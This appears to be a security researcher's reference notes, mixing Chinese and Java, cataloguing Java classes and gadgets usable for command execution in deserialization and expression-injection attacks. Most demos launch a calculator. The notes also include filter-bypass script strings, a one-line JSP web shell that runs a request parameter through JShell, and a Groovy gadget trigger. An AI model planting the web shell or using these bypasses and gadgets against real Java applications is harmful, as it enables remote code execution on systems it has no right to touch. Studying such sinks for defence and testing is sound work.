(1)java.lang.Runtime
(2)java.lang.ProcessBuilder
(3)java.lang.ProcessImpl
(4)javax.script.ScriptEngineManager
(5)java.beans.Expression
(6)java.beans.Statement
(7)javax.el.ELProcessor(Tomcat EL)
(8)javax.el.ELManager (Tomcat EL)
OGNL(Struts2),SpEL(Spring)
(9)JShell
(10)MVEL
(1)java.langClassLoader #loadClass #findClass #defineClass(自定义类加载)
(2)java.net.URLClassLoader #newInstance #loadClass
(3)jdk.nashorn.internal.runtime.ScriptLoader #installClass
(4)java.lang.reflect.Proxy #defineClass0
(5)com.sun.org.apache.bcel.internal.util.ClassLoader #loadClass
(6)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
(7)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
(8)com.sun.rowset.JdbcRowSetImpl #connect/#prepare/#getDatabaseMetaData/#setAutoCommit
(1)javax.imageio.ImageIO$ContainsFilter
(2)java.beans.EventHandler
(3)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
// 非JDK自带
(4)org.codehaus.groovy.runtime.MethodClosure
(5)org.codehaus.groovy.runtime.ConvertedClosure
(6)groovy.util.Expando
(1)java.net.URL#openConnection
#(1)java.lang.Runtime
Runtime.getRuntime.exec("calc.exe")
#(2)java.lang.ProcessBuilder
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
Process process = processBuilder.start();
#(3)java.lang.ProcessImpl (构造方法是private的,无法直接new)
String [] cmd={"cmd","/c","whoami"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
#(4)javax.script.ScriptEngineManager(JDK1.6引入,用于解析javascript)
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);
# 一些绕过
String script="java.lang./****/Runtime.getRuntime().exec(\"calc\")";
String script="var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')(); x.command(\"calc\"); x.start();";
new javax.script.ScriptEngineManager().getEngineByName("js").eval("var a = test(); function test() { var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");};");
String script="var x=java.\u2028lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");";
#(5)java.beans.Expression
Expression expression=new Expression(Runtime.getRuntime(),"exec",new Object[]{"calc"});
expression.getValue();
#(6)java.beans.Statement
Statement statement=new Statement(Runtime.getRuntime(),"exec",new Object[]{"calc"});
statement.execute();
#(7)javax.el.ELProcessor(Tomcat EL)
String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
ELProcessor elProcessor = new ELProcessor();
Process process = (Process) elProcessor.eval(script);
#(8)javax.el.ELManager (Tomcat EL)
String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
ELManager elManager=new ELManager();
ELContext elContext=elManager.getELContext();
ExpressionFactory expressionFactory=ELManager.getExpressionFactory();
ValueExpression valueExpression=expressionFactory.createValueExpression(elContext,"${"+script+"}",Object.class);
valueExpression.getValue(elContext);
#(9)JShell
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
#(10)MVEL
ShellSession shellSession=new ShellSession();
shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');");
# 支持的命令
"help" -> {Help@605}
"exit" -> {Exit@607}
"cd" -> {ChangeWorkingDir@609}
"set" -> {Set@611}
"showvars" -> {ShowVars@613}
"ls" -> {DirList@614}
"inspect" -> {ObjectInspector@616}
"pwd" -> {PrintWorkingDirectory@618}
"push" -> {PushContext@620}
#(1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
# (2)com.sun.rowset.JdbcRowSetImpl #connect/#prepare/#getDatabaseMetaData/#setAutoCommit最终都是调用的connect(),如下
private Connection connect() throws SQLException { // 无参方法
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
}
#(1)javax.imageio.ImageIO$ContainsFilter
public boolean filter(Object elt) {
return contains((String[])method.invoke(elt), name); // 传入Object对象,要求方法无参,所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法
}
#(2)java.beans.EventHandler
private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
String methodName = method.getName();
if (method.getDeclaringClass() == Object.class) { // 如果方法是hashCode、equals、toString其中一个,采用代理,走不到invoke
// Handle the Object public methods.
if (methodName.equals("hashCode")) {
return new Integer(System.identityHashCode(proxy));
} else if (methodName.equals("equals")) {
return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
} else if (methodName.equals("toString")) {
return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
}
}
... // 参数要么是空,要么是单个参数
return MethodUtil.invoke(targetMethod, target, newArgs); // 反射调用
}
#(3)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
public ValueT get(BeanT bean) throws AccessorException {
return this.getter.invoke(bean); // 只能传入类对象,无法传入参数,要求反射方法无参
}
#(4)org.codehaus.groovy.runtime.MethodClosure
protected Object doCall(Object arguments) {
return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments);
}
#(5)org.codehaus.groovy.runtime.ConvertedClosure
public abstract class ConversionHandler implements InvocationHandler, Serializable { // 实现了InvocationHandler,并重写了invoke方法,如果执行Proxy.newProxyInstance就会调用这个Invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
this.invokeCustom(proxy, method, args); // 如果传入的method不是Object对象中的方法(如hashcode、toString等),就执行此步,进行反射调用
}
}
#(6)groovy.util.Expando
public int hashCode() {
Object method = this.getProperties().get("hashCode");
if (method != null && method instanceof Closure) { // 如果properties中存在一个键为hashCode,值为Closure的子类,进入if
Closure closure = (Closure)method;
closure.setDelegate(this);
Integer ret = (Integer)closure.call(); //反射调用
return ret;
} ...
}
# 触发demo
Map map = new HashMap<Expando, Integer>();
Expando expando = new Expando();
String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
expando.setProperty("hashCode", methodClosure);
map.put(expando, 123);
expando.hashCode();